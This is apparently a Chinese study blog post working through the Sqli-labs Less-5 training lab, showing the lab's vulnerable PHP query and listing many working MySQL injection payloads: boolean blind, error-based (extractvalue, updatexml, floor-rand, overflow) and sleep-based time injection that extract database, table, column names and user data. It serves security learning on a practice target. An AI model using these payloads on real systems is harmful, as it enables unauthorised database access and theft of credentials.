重闯Sqli-labs关卡第二天(5关)
第五关(双注入GET单引号字符型注入-报错时间注入)
盲注
盲注,Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
核心代码:(不会返回数据库中的数据)
1 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2 $result=mysql_query($sql);
3 $row = mysql_fetch_array($result);
4 if($row)
5 {
6 echo '<font size="5" color="#FFFF00">';
7 echo 'You are in...........';
8 echo "<br>";
9 echo "</font>";
10 }
11 else
12 {
13
14 echo '<font size="3" color="#FFFF00">';
15 print_r(mysql_error());
16 echo "</br></font>";
17 echo '<font color= "#0000ff" font size= 3>';
18
19 }
20 }
21 else { echo "Please input the ID as parameter with numeric value";}
1 1.探测PHP版本号
2 id=1' and left(version(),1)=5%23
3
4 2.探测数据库长度
5 id=1' and length(database())=8%23
6 探测数据库名(采用二分法)
7 id=1' and left(database(),1)>'a'%23
8 id=1' and left(database(),1)='s'%23
9 id=1' and left(database(),2)>'se'%23
10 id=1' and left(database(),2)='se'%23
11 id=1' and left(database(),3)>'sec'%23
12 id=1' and left(database(),3)='sec'%23
13 ........
14 id=1' and left(database(),8)='security'%23
15
16
17 3.获取表名
18 substr() ascii()函数进行尝试
19 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
20 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
21 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
22 ...
23 逐步测试得出表名为:email
24 想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
25 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23
26
27
28 4.获取urser中的列
29 利用regexp获取
30 通过regexp检测是否有us**列
31 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+'
32 通过regexp检测而是否有username开头的列
33 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
34
35 5.获取列中的内容
36 利用ord()和mid()函数获取users表的内容
37 IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
38 CAST()把一个字段转成另一个字段
39 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
40 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
41 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
42 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
43 最后爆出 Dumb
第二种方法:报错注入
1 id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
2
3 数值类型超出范围进行报错注入
4 id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
5
6 利用bigint溢出进行报错注入
7 id=1' union select (!(select * from (select user())x) - ~0),2,3--+
8
9 xpath函数报错注入
10 id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
11
12 id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
13
14 利用数据的重复性
15 id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
第三种:sleep延迟注入
sleep注入是另一种形式的盲注,与bool注入不同,sleep注入没有任何报错信息输出,页面返回不管对或者错都是一种状态,
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入
1 ' and sleep(5)--+
2 爆数据库长度
3 ' and if(length(database())=8,sleep(5),1)--+
4 爆数据库名
5 ' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
6 OR
7 ' and if(left(database(),1)='s',sleep(5),1)--+
8 爆判断数据库表数量
9 ' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
10 爆表名
11 ' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
12 OR
13 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
14 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='e' --+
15 判断字段数量
16 ' and if((select count(*) from information_schema.columns where table_name='users')>1,sleep(5),1)--+
17 判断字段名
18 ' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
19 爆字段下的数据
20 ' and left((select password from users limit 0,1),1)='D' --+
附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html
重闯Sqli-labs关卡第二天(5关)的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- SQL注入之Sqli-labs系列第二十九关(基于WAF防护的单引号报错注入)
开始挑战第二十九关(Protection with WAF) 0x1查看源码 (1)login.php页面存在防护,只要检测到存在问题就跳转到hacked.php页面(其他信息看备注) 0x2 for ...
- SQL注入之Sqli-labs系列第二十八关(过滤空格、注释符、union select)和第二十八A关
开始挑战第二十八关(Trick with SELECT & UNION) 第二十八A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与27关一样,只是 ...
- SQL注入之Sqli-labs系列第二十六关(过滤空格、注释符、逻辑运算符注入)和第二十六A
开始挑战第二十六关(Trick with comments and space) 0x1看看源代码 (1)过滤了# or and /**/ / \ ,通过判断也过滤了空格 (2)这样一来只能看 ...
- SQL注入之Sqli-labs系列第二十五关(过滤 OR & AND)和第二十五A关(过滤逻辑运算符注释符)
开始挑战第二十五关(Trick with OR & AND) 第二十五关A(Trick with comments) 0x1先查看源码 (1)这里的or和and采用了i正则匹配,大小写都无法绕 ...
- SQL注入之Sqli-labs系列第二十四关(二阶注入)
开始挑战第二十四关(Second Degree Injections) 0x1 前言 SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 .二次注入不是注入两次的意思,请不要混淆 ...
随机推荐
- Python函数的定义和参数
函数的初识: 以功能为导向,一个函数就是一个功能.随调随用. 优点: 减少代码重复性. 增强代码的可读性. 函数的结构: def function_name(): 函数体 def: 关键字,定义函 ...
- Linux文件系统和管理-2文件操作命令(下)
移动和重命名文件 mv 命令可以实现文件或目录的移动和改名 剪切的效果 同一分区移动数据,速度很快:数据位置没有变化 不同分区移动数据,速度相对慢:数据位置发生了变化 格式 和cp基本一样 mv [O ...
- 虚拟机之kali2.0
kali2.0下载地址: 链接: https://pan.baidu.com/s/1CiQJNfvUPFw3aJR103XSbg 提取码: 57wp
- BMP位图调色板说明
网上一搜,可以看到BMP位图结构的详细说明,这篇文章专门谈一下其中的调色板. 多少位位图并不是指每一个颜色该用多少位表示,对于颜色来说,它始终都是24位(RGB),或者是32位(RGBA),而是指该位 ...
- nio DirectByteBuffer如何回收堆外内存
概述 使用了nio框架的应用,比如服务框架,利用nio建立长连接通信,他们会使用DirectByteBuffer来分配堆外内存,也就是本地直接内存,这个内存的回收不由gc直接维护,我们通常所说的gc, ...
- SpringMVC的@InitBinder参数转换
@Controller @RequestMapping("/index") public class IndexController { /** * 解决前端传递的日期参数验证异常 ...
- 4G DTU无线数据透明传输终端
4G DTU是基于4G网络的远程无线数据透明传输终端,是一种物联网无线数据传输设备,使用公用运营商的4G网络为用户提供无线远距离数据传输功能,使用工业级32位的高性能通信处理器和工业级无线模块,以嵌入 ...
- 一次 KVM 虚拟机磁盘占满的排查过程
一次 KVM 虚拟机磁盘占满的排查过程 KVM 虚拟机系统为 CentOS,文件系统为 XFS. 现象如下: 使用 df -h 命令发现磁盘剩余空间为30k(总大小为30G),使用 df -i 发现 ...
- K8S的Kafka监控(Prometheus+Grafana)
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- Js中常见的内存泄漏场景
常见的内存泄漏场景 内存泄漏Memory Leak是指程序中已动态分配的堆内存由于疏忽或错误等原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果.内存泄漏并非指内 ...